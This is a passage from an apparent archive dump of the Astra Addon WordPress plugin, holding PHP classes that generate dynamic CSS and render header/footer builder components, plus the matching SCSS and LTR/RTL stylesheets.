$continer_inside_spacing, 'right', 'desktop' ) . 'px', ), '.block-editor-block-list__block[data-align=wide]' => array( 'margin-left' => '-' . ( 15 - (int) astra_responsive_spacing( $continer_inside_spacing, 'left', 'desktop' ) ) . 'px', 'margin-right' => '-' . ( 15 - (int) astra_responsive_spacing( $continer_inside_spacing, 'right', 'desktop' ) ) . 'px', ), ); if ( '' !== astra_responsive_spacing( $continer_inside_spacing, 'left', 'desktop' ) ) { $boxed_container['.edit-post-visual-editor .block-editor-block-list__block .editor-block-list__block-edit, .editor-post-title__block .editor-post-title__input'] = array( 'padding-left' => 0, 'padding-right' => 0, ); } } $parse_css = astra_parse_css( $boxed_container ); return $dynamic_css . $parse_css; } /** * Dynamic CSS - WooCommerce Blocks * * @since 2.1.2 * @param string $dynamic_css Astra Gutenberg Dynamic CSS. * @param string $dynamic_css_filtered Astra Gutenberg Dynamic CSS Filters. * @return string */ public function woo_gb_blocks_dynamic_css( $dynamic_css, $dynamic_css_filtered = '' ) { // Shop Typo. $shop_product_title_font_size = astra_get_option( 'font-size-shop-product-title' ); // Shop Product Title color. $shop_product_title_color = astra_get_option( 'shop-product-title-color' ); $shop_product_price_font_size = astra_get_option( 'font-size-shop-product-price' ); // Shop Product Price color. $shop_product_price_color = astra_get_option( 'shop-product-price-color' ); $theme_color = astra_get_option( 'theme-color' ); $link_color = astra_get_option( 'link-color', $theme_color ); $product_sale_style = astra_get_option( 'product-sale-style' ); /** * Set font sizes */ $css_output = array( '.wc-block-grid .wc-block-grid__products .wc-block-grid__product .wc-block-grid__product-title' => astra_addon_get_font_array_css( astra_get_option( 'font-family-shop-product-title' ), astra_get_option( 'font-weight-shop-product-title' ), $shop_product_title_font_size, 'font-extras-shop-product-title', $shop_product_title_color ), '.wc-block-grid .wc-block-grid__products .wc-block-grid__product .wc-block-grid__product-price' => astra_addon_get_font_array_css( astra_get_option( 'font-family-shop-product-price' ), astra_get_option( 'font-weight-shop-product-price' ), $shop_product_price_font_size, 'font-extras-shop-product-price', $shop_product_price_color ), ); /* Parse CSS from array() */ $css_output = astra_parse_css( $css_output ); $tablet_css = array( '.wc-block-grid .wc-block-grid__products .wc-block-grid__product .wc-block-grid__product-title' => array( 'font-size' => astra_responsive_font( $shop_product_title_font_size, 'tablet' ), ), '.wc-block-grid .wc-block-grid__products .wc-block-grid__product .wc-block-grid__product-price' => array( 'font-size' => astra_responsive_font( $shop_product_price_font_size, 'tablet' ), ), ); $css_output .= astra_parse_css( $tablet_css, '', astra_addon_get_tablet_breakpoint() ); $mobile_css = array( '.wc-block-grid .wc-block-grid__products .wc-block-grid__product .wc-block-grid__product-title' => array( 'font-size' => astra_responsive_font( $shop_product_title_font_size, 'mobile' ), ), '.wc-block-grid .wc-block-grid__products .wc-block-grid__product .wc-block-grid__product-price' => array( 'font-size' => astra_responsive_font( $shop_product_price_font_size, 'mobile' ), ), ); /** * Sale bubble color */ if ( 'circle-outline' == $product_sale_style ) { /** * Sale bubble color - Circle Outline */ $sale_style_css = array( '.wc-block-grid .wc-block-grid__products .wc-block-grid__product .wc-block-grid__product-onsale' => array( 'line-height' => '2.7', 'background' => '#ffffff', 'border' => '2px solid ' . $link_color, 'color' => $link_color, ), ); $css_output .= astra_parse_css( $sale_style_css ); } elseif ( 'square' == $product_sale_style ) { /** * Sale bubble color - Square */ $sale_style_css = array( '.wc-block-grid .wc-block-grid__products .wc-block-grid__product .wc-block-grid__product-onsale' => array( 'border-radius' => '0', 'line-height' => '3', ), ); $css_output .= astra_parse_css( $sale_style_css ); } elseif ( 'square-outline' == $product_sale_style ) { /** * Sale bubble color - Square Outline */ $sale_style_css = array( '.wc-block-grid .wc-block-grid__products .wc-block-grid__product .wc-block-grid__product-onsale' => array( 'line-height' => '3', 'background' => '#ffffff', 'border' => '2px solid ' . $link_color, 'color' => $link_color, 'border-radius' => '0', ), ); $css_output .= astra_parse_css( $sale_style_css ); } $css_output .= astra_parse_css( $mobile_css, '', astra_addon_get_mobile_breakpoint() ); return $dynamic_css . $css_output; } } } /** * Kicking this off by calling 'get_instance()' method */ Addon_Gutenberg_Editor_CSS::get_instance(); class-astra-builder.php 0000666 00000032626 15165730730 0011142 0 ustar 00 <?php /** * Astra Builder * * @package Astra Addon */ if ( ! class_exists( 'Astra_Builder' ) ) { /** * Astra_Builder initial setup * * @since 3.0.0 */ // @codingStandardsIgnoreStart class Astra_Builder { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedClassFound // @codingStandardsIgnoreEnd /** * Member Variable * * @var instance */ private static $instance; /** * Initiator */ public static function get_instance() { if ( ! isset( self::$instance ) ) { self::$instance = new self(); } return self::$instance; } /** * Constructor */ public function __construct() { add_filter( 'astra_footer_row_layout', function( $layout ) { // Modify Layouts here. return $layout; } ); add_filter( 'astra_header_desktop_items', array( $this, 'update_header_builder_desktop_items' ) ); add_filter( 'astra_header_mobile_items', array( $this, 'update_header_builder_mobile_items' ) ); add_filter( 'astra_footer_desktop_items', array( $this, 'update_footer_builder_desktop_items' ) ); add_action( 'astra_render_header_components', array( $this, 'render_header_components' ), 10, 2 ); add_action( 'astra_render_footer_components', array( $this, 'render_footer_dynamic_components' ) ); } /** * Update default header builder's desktop components. * * @param array $header_items array of header elements which will load in customizer builder layout. * @return array Array of desktop components. * * @since 3.0.0 */ public function update_header_builder_desktop_items( $header_items ) { $cloned_component_track = astra_addon_builder_helper()->component_count_array; $num_of_header_divider = astra_addon_builder_helper()->num_of_header_divider; for ( $index = 1; $index <= $num_of_header_divider; $index++ ) { $header_divider_section = 'section-hb-divider-' . $index; if ( isset( $cloned_component_track['removed-items'] ) && in_array( $header_divider_section, $cloned_component_track['removed-items'], true ) ) { continue; } $header_items[ 'divider-' . $index ] = array( 'name' => ( 1 === $num_of_header_divider ) ? 'Divider' : 'Divider ' . $index, 'icon' => 'minus', 'section' => $header_divider_section, 'clone' => true, 'type' => 'divider', 'builder' => 'header', ); } $header_items['language-switcher'] = array( 'name' => __( 'Language Switcher', 'astra-addon' ), 'icon' => 'translation', 'section' => 'section-hb-language-switcher', ); if ( version_compare( ASTRA_THEME_VERSION, '3.2.0', '>' ) ) { $header_items['mobile-trigger'] = array( 'name' => __( 'Toggle Button', 'astra-addon' ), 'icon' => 'menu-alt', 'section' => 'section-header-mobile-trigger', ); } $header_items['mobile-menu'] = array( 'name' => __( 'Off-Canvas Menu', 'astra-addon' ), 'icon' => 'menu-alt', 'section' => 'section-header-mobile-menu', ); return $header_items; } /** * Update default header builder's mobile components. * * @param array $mobile_items array of mobile elements which will load in customizer builder layout. * @return array Array of mobile components. * * @since 3.0.0 */ public function update_header_builder_mobile_items( $mobile_items ) { $cloned_component_track = astra_addon_builder_helper()->component_count_array; $num_of_header_divider = astra_addon_builder_helper()->num_of_header_divider; for ( $index = 1; $index <= $num_of_header_divider; $index++ ) { $header_mobile_divider_section = 'section-hb-divider-' . $index; if ( isset( $cloned_component_track['removed-items'] ) && in_array( $header_mobile_divider_section, $cloned_component_track['removed-items'], true ) ) { continue; } $mobile_items[ 'divider-' . $index ] = array( 'name' => ( 1 === $num_of_header_divider ) ? 'Divider' : 'Divider ' . $index, 'icon' => 'minus', 'section' => $header_mobile_divider_section, 'clone' => true, 'type' => 'divider', 'builder' => 'header', ); } $mobile_items['language-switcher'] = array( 'name' => __( 'Language Switcher', 'astra-addon' ), 'icon' => 'translation', 'section' => 'section-hb-language-switcher', ); return $mobile_items; } /** * Update default footer builder's components. * * @param array $footer_items array of footer elements which will load in customizer builder layout. * @return array Array of footer components. * * @since 3.0.0 */ public function update_footer_builder_desktop_items( $footer_items ) { $cloned_component_track = astra_addon_builder_helper()->component_count_array; $num_of_footer_divider = astra_addon_builder_helper()->num_of_footer_divider; for ( $index = 1; $index <= $num_of_footer_divider; $index++ ) { $footer_divider_section = 'section-fb-divider-' . $index; if ( isset( $cloned_component_track['removed-items'] ) && in_array( $footer_divider_section, $cloned_component_track['removed-items'], true ) ) { continue; } $footer_items[ 'divider-' . $index ] = array( 'name' => ( 1 === $num_of_footer_divider ) ? 'Divider' : 'Divider ' . $index, 'icon' => 'minus', 'section' => $footer_divider_section, 'clone' => true, 'type' => 'divider', 'builder' => 'footer', ); } $footer_items['language-switcher'] = array( 'name' => __( 'Language Switcher', 'astra-addon' ), 'icon' => 'translation', 'section' => 'section-fb-language-switcher', ); return $footer_items; } /** * Render header component. * * @param string $slug component slug. * @param string $device device. */ public function render_header_components( $slug, $device = '' ) { $this->render_header_dynamic_components( $slug, $device ); } /** * Render header dynamic components. * * @param string $slug slug. * @param string $device device. */ public function render_header_dynamic_components( $slug, $device ) { if ( 0 === strpos( $slug, 'html' ) ) { ?> <div class="ast-builder-layout-element site-header-focus-item ast-header-<?php echo esc_attr( $slug ); ?>" data-section="section-hb-<?php echo esc_attr( $slug ); ?>"> <?php $action_name = 'astra_header_' . str_replace( '-', '_', $slug ); do_action( $action_name ); ?> </div> <?php } elseif ( 0 === strpos( $slug, 'button' ) ) { ?> <div class="ast-builder-layout-element site-header-focus-item ast-header-<?php echo esc_attr( $slug ); ?>" data-section="section-hb-<?php echo esc_attr( $slug ); ?>"> <?php $action_name = 'astra_header_' . str_replace( '-', '_', $slug ); do_action( $action_name ); ?> </div> <?php } elseif ( 0 === strpos( $slug, 'widget' ) ) { ?> <aside <?php echo wp_kses_post( astra_attr( 'header-widget-area-inner', array( 'class' => 'header-widget-area widget-area site-header-focus-item', 'data-section' => 'sidebar-widgets-header-' . esc_attr( $slug ), ) ) ); ?> > <?php if ( is_customize_preview() && class_exists( 'Astra_Builder_UI_Controller' ) ) { Astra_Builder_UI_Controller::render_customizer_edit_button(); } if ( function_exists( 'astra_markup_open' ) ) { astra_markup_open( 'header-widget-div', array( 'echo' => true ) ); } else { ?> <div class="header-widget-area-inner site-info-inner"> <?php } astra_get_sidebar( 'header-' . str_replace( '_', '-', $slug ) ); if ( function_exists( 'astra_markup_close' ) ) { astra_markup_close( 'header-widget-div', array( 'echo' => true ) ); } else { ?> </div> <?php } ?> </aside> <?php } elseif ( 0 === strpos( $slug, 'menu' ) ) { ?> <div class="ast-builder-<?php echo esc_attr( $slug ); ?> ast-builder-menu ast-builder-<?php echo esc_attr( $slug ); ?>-focus-item ast-builder-layout-element site-header-focus-item" data-section="section-hb-<?php echo esc_attr( $slug ); ?>"> <?php $action_name = 'astra_header_' . str_replace( '-', '_', $slug ); do_action( $action_name, $device ); ?> </div> <?php } elseif ( 0 === strpos( $slug, 'social-icons' ) ) { $index = str_replace( 'social-icons-', '', $slug ); ?> <div class="ast-builder-layout-element site-header-focus-item" data-section="section-hb-social-icons-<?php echo esc_attr( $index ); ?>"> <?php $action_name = 'astra_header_social_' . $index; do_action( $action_name ); ?> </div> <?php } elseif ( 0 === strpos( $slug, 'divider' ) ) { $layout_class = astra_get_option( 'header-' . $slug . '-layout' ); ?> <div class="ast-builder-layout-element site-header-focus-item ast-header-divider-element ast-header-<?php echo esc_attr( $slug ); ?> ast-hb-divider-layout-<?php echo esc_attr( $layout_class ); ?>" data-section="section-hb-<?php echo esc_attr( $slug ); ?>"> <?php $action_name = 'astra_header_' . str_replace( '-', '_', $slug ); do_action( $action_name ); ?> </div> <?php } elseif ( 0 === strpos( $slug, 'language-switcher' ) ) { $layout_class = astra_get_option( 'header-' . $slug . '-layout' ); ?> <div class="ast-builder-layout-element site-header-focus-item ast-header-language-switcher-element ast-header-<?php echo esc_attr( $slug ); ?> ast-hb-language-switcher-layout-<?php echo esc_attr( $layout_class ); ?>" data-section="section-hb-<?php echo esc_attr( $slug ); ?>"> <?php $action_name = 'astra_header_' . str_replace( '-', '_', $slug ); do_action( $action_name ); ?> </div> <?php } } /** * Render footer dynamic components. * * @param string $slug slug. */ public function render_footer_dynamic_components( $slug ) { if ( 0 === strpos( $slug, 'html' ) ) { ?> <div class="footer-widget-area widget-area site-footer-focus-item ast-footer-<?php echo esc_attr( $slug ); ?>" data-section="section-fb-<?php echo esc_attr( $slug ); ?>"> <?php $action_name = 'astra_footer_' . str_replace( '-', '_', $slug ); do_action( $action_name ); ?> </div> <?php } elseif ( 0 === strpos( $slug, 'button' ) ) { ?> <div class="ast-builder-layout-element site-footer-focus-item ast-footer-<?php echo esc_attr( $slug ); ?>" data-section="section-fb-<?php echo esc_attr( $slug ); ?>"> <?php $action_name = 'astra_footer_' . str_replace( '-', '_', $slug ); do_action( $action_name ); ?> </div> <?php } elseif ( 0 === strpos( $slug, 'widget' ) ) { ?> <aside <?php echo wp_kses_post( astra_attr( 'footer-widget-area-inner', array( 'class' => 'footer-widget-area widget-area site-footer-focus-item', 'data-section' => 'sidebar-widgets-footer-' . esc_attr( $slug ), ) ) ); ?> > <?php if ( function_exists( 'astra_markup_open' ) ) { astra_markup_open( 'footer-widget-div', array( 'echo' => true ) ); } else { ?> <div class="footer-widget-area-inner site-info-inner"> <?php } astra_get_sidebar( 'footer-' . str_replace( '_', '-', $slug ) ); if ( function_exists( 'astra_markup_close' ) ) { astra_markup_close( 'footer-widget-div', array( 'echo' => true ) ); } else { ?> </div> <?php } ?> </aside> <?php } elseif ( 0 === strpos( $slug, 'social-icons' ) ) { $index = str_replace( 'social-icons-', '', $slug ); ?> <div class="ast-builder-layout-element site-footer-focus-item" data-section="section-fb-social-icons-<?php echo esc_attr( $index ); ?>"> <?php $action_name = 'astra_footer_social_' . $index; do_action( $action_name ); ?> </div> <?php } elseif ( 0 === strpos( $slug, 'divider' ) ) { $layout_class = astra_get_option( 'footer-' . $slug . '-layout' ); ?> <div class="footer-widget-area widget-area site-footer-focus-item ast-footer-divider-element ast-footer-<?php echo esc_attr( $slug ); ?> ast-fb-divider-layout-<?php echo esc_attr( $layout_class ); ?>" data-section="section-fb-<?php echo esc_attr( $slug ); ?>"> <?php $action_name = 'astra_footer_' . str_replace( '-', '_', $slug ); do_action( $action_name ); ?> </div> <?php } elseif ( 0 === strpos( $slug, 'language-switcher' ) ) { $layout_class = astra_get_option( 'footer-' . $slug . '-layout' ); ?> <div class="ast-builder-layout-element site-footer-focus-item ast-footer-language-switcher-element ast-footer-<?php echo esc_attr( $slug ); ?> ast-fb-language-switcher-layout-<?php echo esc_attr( $layout_class ); ?>" data-section="section-fb-<?php echo esc_attr( $slug ); ?>"> <?php $action_name = 'astra_footer_' . str_replace( '-', '_', $slug ); do_action( $action_name ); ?> </div> <?php } } } } /** * Prepare if class 'Astra_Builder' exist. * Kicking this off by calling 'get_instance()' method */ Astra_Builder::get_instance(); builder/assets/scss/style.scss 0000666 00000017355 15165730730 0012532 0 ustar 00 .ast-hb-account-login-wrapper { .ast-hb-account-login { position: fixed; left: 50%; top: 50%; padding: 35px; max-height: 550px; width: 340px; margin: 0 0 0 -170px; background-color: #f1f1f1; z-index: 1000011; box-shadow: 0 3px 6px rgba(0,0,0,.3); } .ast-hb-account-login-bg { position: fixed; top: 0; bottom: 0; left: 0; right: 0; background: #000; opacity: .7; z-index: 1000010; transition: all 0.3s; } .ast-hb-login-header { .ast-hb-login-close { background: 0 0; border: 0; font-size: 24px; line-height: 1; padding: .4em; color: inherit; display: flex; box-shadow: none; } } #loginform { input[type=text], input[type=password] { width: 100%; max-width: 100%; margin-top: 10px; border: 1px solid; background-color: transparent; vertical-align: middle; } } } .ast-hb-account-login-form-footer { a.ast-header-account-footer-link:not(:last-child) { span:after { content: "|"; margin: 0 0.4em; } } } .ast-header-account-wrap .ast-header-account-link { pointer-events: none; } .ast-header-account-link.ast-account-action-link, .ast-header-break-point .ast-header-account-link, .ast-header-account-link.ast-account-action-login, .ast-header-account-link.ast-account-action-login.customize-unpreviewable { cursor: pointer; pointer-events: all; } .ast-header-break-point { .ast-hf-account-menu-wrap { display: none; } } .ast-header-account { display: flex; } .ast-header-account-wrap { .ast-hb-account-login-wrapper { visibility: hidden; .ast-hb-login-header { -js-display: flex; position: absolute; right: 0; top: 0; display: flex; justify-content: flex-end; min-height: calc(1.2em + 24px); } .ast-hb-account-login { transform: scale(0.7); opacity: 0; transition: all 0.3s; overflow: auto; } &.show { visibility: visible; .ast-hb-account-login { transform: scale(1)translateY(-50%); opacity: 1; -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=100)"; } } } } .ast-hb-login-body { height: 100%; position: relative; line-height: 1.5; } /* menu */ .ast-desktop { .ast-hf-account-menu-wrap.ast-main-header-bar-alignment { position: relative; } .main-header-bar { .main-header-bar-navigation { .ast-account-nav-menu { line-height: 1.45; } } } .ast-account-nav-menu { width: 240px; background: #fff; left: -999em; position: absolute; top: 0px; z-index: 99999; list-style: none; margin: 0; padding-left: 0; border: 0; box-shadow: 0 4px 10px -2px rgba(0,0,0,.1); .sub-menu { right: auto; top: 0; margin-left: 0; } .menu-item.focus, .menu-item:hover { > .sub-menu { left: 100%; } } .ast-left-align-sub-menu.menu-item.focus, .ast-left-align-sub-menu.menu-item:hover { > .sub-menu { left: -100%; } } .menu-item { .menu-link { padding: .9em 1em; } } .menu-item { border-style: none; } .menu-item.menu-item-has-children>.menu-link:after { position: absolute; right: 1em; top: 50%; transform: translate(0,-50%) rotate(270deg); } } .ast-primary-header-bar, .ast-above-header-bar, .ast-below-header-bar { .main-header-menu.ast-account-nav-menu { > .menu-item { height: auto; line-height: unset; bottom:-5px; } } } } .site-header-section-left { .ast-header-account-wrap.focus, .ast-header-account-wrap:hover { .ast-account-nav-menu { left: -100%; right: auto; } } } .ast-header-account-wrap { &.focus, &:hover { .ast-account-nav-menu { right: -100%; left: auto; } } .woocommerce-MyAccount-navigation-link.is-active { a { background: unset; } } .menu-item:last-child > .menu-link { border-style: none; } } // Divider CSS. .ast-divider-wrapper { border: 0; } .ast-mobile-popup-content { .ast-header-divider-element { justify-content: center; } } .ast-header-divider-element { position: relative; } .ast-fb-divider-layout-vertical { position: relative; } .ast-hb-divider-layout-vertical { &.ast-header-divider-element{ height: 100%; } } /** Default Spacing for Mobile Header elements except Menu */ .ast-mobile-popup-content, .ast-mobile-header-content { .ast-builder-layout-element:not(.ast-builder-menu):not(.ast-header-divider-element) { padding: 15px 20px; } } .footer-widget-area { .ast-footer-divider-element { position: relative; align-items: center; } .ast-divider-wrapper { display: inline-block; } } .ast-builder-footer-grid-columns { .ast-fb-divider-layout-horizontal { display: inline-flex; vertical-align: middle; } } /** * Button. */ [data-section*="section-hb-button-"] .ast-builder-button-size-xs .ast-custom-button, [data-section*="section-fb-button-"] .ast-builder-button-size-xs .ast-custom-button { font-size: 13px; padding: 8px 20px; } [data-section*="section-hb-button-"] .ast-builder-button-size-sm .ast-custom-button, [data-section*="section-fb-button-"] .ast-builder-button-size-sm .ast-custom-button { font-size: 15px; padding: 10px 40px; } [data-section*="section-hb-button-"] .ast-builder-button-size-md .ast-custom-button, [data-section*="section-fb-button-"] .ast-builder-button-size-md .ast-custom-button { font-size: 17px; padding: 15px 45px; } [data-section*="section-hb-button-"] .ast-builder-button-size-lg .ast-custom-button, [data-section*="section-fb-button-"] .ast-builder-button-size-lg .ast-custom-button { font-size: 19px; padding: 20px 50px; } [data-section*="section-hb-button-"] .ast-builder-button-size-xl .ast-custom-button, [data-section*="section-fb-button-"] .ast-builder-button-size-xl .ast-custom-button { font-size: 21px; padding: 25px 55px; } .ast-fb-divider-layout-vertical { display: flex; } .site-footer-section { position: relative; } // Language Switcher CSS. .ast-builder-language-switcher { .ast-builder-language-switcher-menu { list-style: none; margin: 0; padding: 0; line-height: normal; -webkit-tap-highlight-color: transparent; } } .ast-builder-language-switcher-layout-vertical { .ast-builder-language-switcher { display: block; } .ast-builder-language-switcher-menu { display: block; } } .ast-builder-language-switcher-layout-horizontal { .ast-builder-language-switcher { display: flex; } .ast-builder-language-switcher-menu { display: flex; flex-wrap: wrap; } } .ast-builder-language-switcher a { display: flex; align-items: center; } .ast-lswitcher-item-header, .ast-lswitcher-item-footer { display: inline-flex; } span.ast-lswitcher-item-footer, span.ast-lswitcher-item-header { &:last-child { margin-right: 0px; } } builder/assets/css/unminified/style.css 0000666 00000017521 15165730730 0014306 0 ustar 00 .ast-hb-account-login-wrapper .ast-hb-account-login { position: fixed; left: 50%; top: 50%; padding: 35px; max-height: 550px; width: 340px; margin: 0 0 0 -170px; background-color: #f1f1f1; z-index: 1000011; box-shadow: 0 3px 6px rgba(0, 0, 0, 0.3); } .ast-hb-account-login-wrapper .ast-hb-account-login-bg { position: fixed; top: 0; bottom: 0; left: 0; right: 0; background: #000; opacity: .7; z-index: 1000010; transition: all 0.3s; } .ast-hb-account-login-wrapper .ast-hb-login-header .ast-hb-login-close { background: 0 0; border: 0; font-size: 24px; line-height: 1; padding: .4em; color: inherit; -js-display: flex; display: flex; box-shadow: none; } .ast-hb-account-login-wrapper #loginform input[type=text], .ast-hb-account-login-wrapper #loginform input[type=password] { width: 100%; max-width: 100%; margin-top: 10px; border: 1px solid; background-color: transparent; vertical-align: middle; } .ast-hb-account-login-form-footer a.ast-header-account-footer-link:not(:last-child) span:after { content: "|"; margin: 0 0.4em; } .ast-header-account-wrap .ast-header-account-link { pointer-events: none; } .ast-header-account-link.ast-account-action-link, .ast-header-break-point .ast-header-account-link, .ast-header-account-link.ast-account-action-login, .ast-header-account-link.ast-account-action-login.customize-unpreviewable { cursor: pointer; pointer-events: all; } .ast-header-break-point .ast-hf-account-menu-wrap { display: none; } .ast-header-account { -js-display: flex; display: flex; } .ast-header-account-wrap .ast-hb-account-login-wrapper { visibility: hidden; } .ast-header-account-wrap .ast-hb-account-login-wrapper .ast-hb-login-header { -js-display: flex; position: absolute; right: 0; top: 0; display: flex; justify-content: flex-end; min-height: calc(1.2em + 24px); } .ast-header-account-wrap .ast-hb-account-login-wrapper .ast-hb-account-login { transform: scale(0.7); opacity: 0; transition: all 0.3s; overflow: auto; } .ast-header-account-wrap .ast-hb-account-login-wrapper.show { visibility: visible; } .ast-header-account-wrap .ast-hb-account-login-wrapper.show .ast-hb-account-login { transform: scale(1) translateY(-50%); opacity: 1; -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=100)"; } .ast-hb-login-body { height: 100%; position: relative; line-height: 1.5; } /* menu */ .ast-desktop .ast-hf-account-menu-wrap.ast-main-header-bar-alignment { position: relative; } .ast-desktop .main-header-bar .main-header-bar-navigation .ast-account-nav-menu { line-height: 1.45; } .ast-desktop .ast-account-nav-menu { width: 240px; background: #fff; left: -999em; position: absolute; top: 0px; z-index: 99999; list-style: none; margin: 0; padding-left: 0; border: 0; box-shadow: 0 4px 10px -2px rgba(0, 0, 0, 0.1); } .ast-desktop .ast-account-nav-menu .sub-menu { right: auto; top: 0; margin-left: 0; } .ast-desktop .ast-account-nav-menu .menu-item.focus > .sub-menu, .ast-desktop .ast-account-nav-menu .menu-item:hover > .sub-menu { left: 100%; } .ast-desktop .ast-account-nav-menu .ast-left-align-sub-menu.menu-item.focus > .sub-menu, .ast-desktop .ast-account-nav-menu .ast-left-align-sub-menu.menu-item:hover > .sub-menu { left: -100%; } .ast-desktop .ast-account-nav-menu .menu-item .menu-link { padding: .9em 1em; } .ast-desktop .ast-account-nav-menu .menu-item { border-style: none; } .ast-desktop .ast-account-nav-menu .menu-item.menu-item-has-children > .menu-link:after { position: absolute; right: 1em; top: 50%; transform: translate(0, -50%) rotate(270deg); } .ast-desktop .ast-primary-header-bar .main-header-menu.ast-account-nav-menu > .menu-item, .ast-desktop .ast-above-header-bar .main-header-menu.ast-account-nav-menu > .menu-item, .ast-desktop .ast-below-header-bar .main-header-menu.ast-account-nav-menu > .menu-item { height: auto; line-height: unset; bottom: -5px; } .site-header-section-left .ast-header-account-wrap.focus .ast-account-nav-menu, .site-header-section-left .ast-header-account-wrap:hover .ast-account-nav-menu { left: -100%; right: auto; } .ast-header-account-wrap.focus .ast-account-nav-menu, .ast-header-account-wrap:hover .ast-account-nav-menu { right: -100%; left: auto; } .ast-header-account-wrap .woocommerce-MyAccount-navigation-link.is-active a { background: unset; } .ast-header-account-wrap .menu-item:last-child > .menu-link { border-style: none; } .ast-divider-wrapper { border: 0; } .ast-mobile-popup-content .ast-header-divider-element { justify-content: center; } .ast-header-divider-element { position: relative; } .ast-fb-divider-layout-vertical { position: relative; } .ast-hb-divider-layout-vertical.ast-header-divider-element { height: 100%; } /** Default Spacing for Mobile Header elements except Menu */ .ast-mobile-popup-content .ast-builder-layout-element:not(.ast-builder-menu):not(.ast-header-divider-element), .ast-mobile-header-content .ast-builder-layout-element:not(.ast-builder-menu):not(.ast-header-divider-element) { padding: 15px 20px; } .footer-widget-area .ast-footer-divider-element { position: relative; align-items: center; } .footer-widget-area .ast-divider-wrapper { display: inline-block; } .ast-builder-footer-grid-columns .ast-fb-divider-layout-horizontal { -js-display: inline-flex; display: inline-flex; vertical-align: middle; } /** * Button. */ [data-section*="section-hb-button-"] .ast-builder-button-size-xs .ast-custom-button, [data-section*="section-fb-button-"] .ast-builder-button-size-xs .ast-custom-button { font-size: 13px; padding: 8px 20px; } [data-section*="section-hb-button-"] .ast-builder-button-size-sm .ast-custom-button, [data-section*="section-fb-button-"] .ast-builder-button-size-sm .ast-custom-button { font-size: 15px; padding: 10px 40px; } [data-section*="section-hb-button-"] .ast-builder-button-size-md .ast-custom-button, [data-section*="section-fb-button-"] .ast-builder-button-size-md .ast-custom-button { font-size: 17px; padding: 15px 45px; } [data-section*="section-hb-button-"] .ast-builder-button-size-lg .ast-custom-button, [data-section*="section-fb-button-"] .ast-builder-button-size-lg .ast-custom-button { font-size: 19px; padding: 20px 50px; } [data-section*="section-hb-button-"] .ast-builder-button-size-xl .ast-custom-button, [data-section*="section-fb-button-"] .ast-builder-button-size-xl .ast-custom-button { font-size: 21px; padding: 25px 55px; } .ast-fb-divider-layout-vertical { -js-display: flex; display: flex; } .site-footer-section { position: relative; } .ast-builder-language-switcher .ast-builder-language-switcher-menu { list-style: none; margin: 0; padding: 0; line-height: normal; -webkit-tap-highlight-color: transparent; } .ast-builder-language-switcher-layout-vertical .ast-builder-language-switcher { display: block; } .ast-builder-language-switcher-layout-vertical .ast-builder-language-switcher-menu { display: block; } .ast-builder-language-switcher-layout-horizontal .ast-builder-language-switcher { -js-display: flex; display: flex; } .ast-builder-language-switcher-layout-horizontal .ast-builder-language-switcher-menu { -js-display: flex; display: flex; flex-wrap: wrap; } .ast-builder-language-switcher a { -js-display: flex; display: flex; align-items: center; } .ast-lswitcher-item-header, .ast-lswitcher-item-footer { -js-display: inline-flex; display: inline-flex; } span.ast-lswitcher-item-footer:last-child, span.ast-lswitcher-item-header:last-child { margin-right: 0px; } builder/assets/css/unminified/style-rtl.css 0000666 00000017527 15165730730 0015113 0 ustar 00 .ast-hb-account-login-wrapper .ast-hb-account-login { position: fixed; right: 50%; top: 50%; padding: 35px; max-height: 550px; width: 340px; margin: 0 -170px 0 0; background-color: #f1f1f1; z-index: 1000011; box-shadow: 0 3px 6px rgba(0, 0, 0, 0.3); } .ast-hb-account-login-wrapper .ast-hb-account-login-bg { position: fixed; top: 0; bottom: 0; right: 0; left: 0; background: #000; opacity: .7; z-index: 1000010; transition: all 0.3s; } .ast-hb-account-login-wrapper .ast-hb-login-header .ast-hb-login-close { background: 100% 0; border: 0; font-size: 24px; line-height: 1; padding: .4em; color: inherit; -js-display: flex; display: flex; box-shadow: none; } .ast-hb-account-login-wrapper #loginform input[type=text], .ast-hb-account-login-wrapper #loginform input[type=password] { width: 100%; max-width: 100%; margin-top: 10px; border: 1px solid; background-color: transparent; vertical-align: middle; } .ast-hb-account-login-form-footer a.ast-header-account-footer-link:not(:last-child) span:after { content: "|"; margin: 0 0.4em; } .ast-header-account-wrap .ast-header-account-link { pointer-events: none; } .ast-header-account-link.ast-account-action-link, .ast-header-break-point .ast-header-account-link, .ast-header-account-link.ast-account-action-login, .ast-header-account-link.ast-account-action-login.customize-unpreviewable { cursor: pointer; pointer-events: all; } .ast-header-break-point .ast-hf-account-menu-wrap { display: none; } .ast-header-account { -js-display: flex; display: flex; } .ast-header-account-wrap .ast-hb-account-login-wrapper { visibility: hidden; } .ast-header-account-wrap .ast-hb-account-login-wrapper .ast-hb-login-header { -js-display: flex; position: absolute; left: 0; top: 0; display: flex; justify-content: flex-end; min-height: calc(1.2em + 24px); } .ast-header-account-wrap .ast-hb-account-login-wrapper .ast-hb-account-login { transform: scale(0.7); opacity: 0; transition: all 0.3s; overflow: auto; } .ast-header-account-wrap .ast-hb-account-login-wrapper.show { visibility: visible; } .ast-header-account-wrap .ast-hb-account-login-wrapper.show .ast-hb-account-login { transform: scale(1) translateY(-50%); opacity: 1; -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=100)"; } .ast-hb-login-body { height: 100%; position: relative; line-height: 1.5; } /* menu */ .ast-desktop .ast-hf-account-menu-wrap.ast-main-header-bar-alignment { position: relative; } .ast-desktop .main-header-bar .main-header-bar-navigation .ast-account-nav-menu { line-height: 1.45; } .ast-desktop .ast-account-nav-menu { width: 240px; background: #fff; right: -999em; position: absolute; top: 0px; z-index: 99999; list-style: none; margin: 0; padding-right: 0; border: 0; box-shadow: 0 4px 10px -2px rgba(0, 0, 0, 0.1); } .ast-desktop .ast-account-nav-menu .sub-menu { left: auto; top: 0; margin-right: 0; } .ast-desktop .ast-account-nav-menu .menu-item.focus > .sub-menu, .ast-desktop .ast-account-nav-menu .menu-item:hover > .sub-menu { right: 100%; } .ast-desktop .ast-account-nav-menu .ast-left-align-sub-menu.menu-item.focus > .sub-menu, .ast-desktop .ast-account-nav-menu .ast-left-align-sub-menu.menu-item:hover > .sub-menu { right: -100%; } .ast-desktop .ast-account-nav-menu .menu-item .menu-link { padding: .9em 1em; } .ast-desktop .ast-account-nav-menu .menu-item { border-style: none; } .ast-desktop .ast-account-nav-menu .menu-item.menu-item-has-children > .menu-link:after 